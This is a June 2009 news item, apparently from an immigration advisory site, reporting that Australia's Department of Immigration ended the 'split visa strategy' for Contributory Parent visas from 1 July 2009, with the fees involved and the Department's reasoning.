Contributory Parent Visas: Effective Ending of the Split Visa Strategy
Date: Monday, June 22, 2009
Australia's Department of Immigration has effectively halted the "split visa strategy" adopted by many parents who were applying for Contributory Parent visas and who were looking to reduce their financial outlay.
The strategy involves one parent applying for the CP visa, and then sponsoring the partner or spouse for a Spouse visa. As the 2nd Visa Application Charge for a CP visa is (presently) A$32,725 - increasing to A$34,330 from 01/07/2009 - significant financial savings are on offer.
The legislative amendment (see the weblink below) provides that from the 1st of July 2009 an individual who is granted a permanent CP visa (subclass 143 or 864) cannot sponsor a partner or spouse where s/he is:
* Granted their permanent Contributory Parent category visa on or after 1 July 2009; and
* In a spouse or de facto partner or fiancé relationship on or before the date their permanent Contributory Parent category visa is granted and now wishes to sponsor that partner or fiancé.
The Department of Immigration website advises:
There have been a number of instances in which couples seeking to migrate under the Contributory Parent category visa provisions have resorted to the split application strategy, whereby:
* only one member of a parent couple applies for and is granted a permanent Contributory Parent category visa; and
* once eligible (usually after two years of being lawfully resident in Australia), this parent subsequently sponsors their spouse (the other parent) under the partner visa category which has a much smaller Visa Application Charge (VAC).
Up until 1 July 2009, this strategy is not prohibited by migration legislation and it is being used in order to reduce the costs associated with migration under Contributory Parent category visa. However, it clearly undermines the Government’s policy intent of ensuring that those parents who migrate under the Contributory Parent visa category make a contribution by means of the VAC to partially offset the significant costs of parent migration to the broader community. Contributory Parent migrants are also subject to the provision of a ten year Assurance of Support (AoS) and payment of a bond.
Furthermore, those who lodge a split application benefit by by-passing the ten year waiting period for parent visa holders to access Government benefits and assistance, whilst spouse visa holders are able to access such benefits within two years of visa grant.
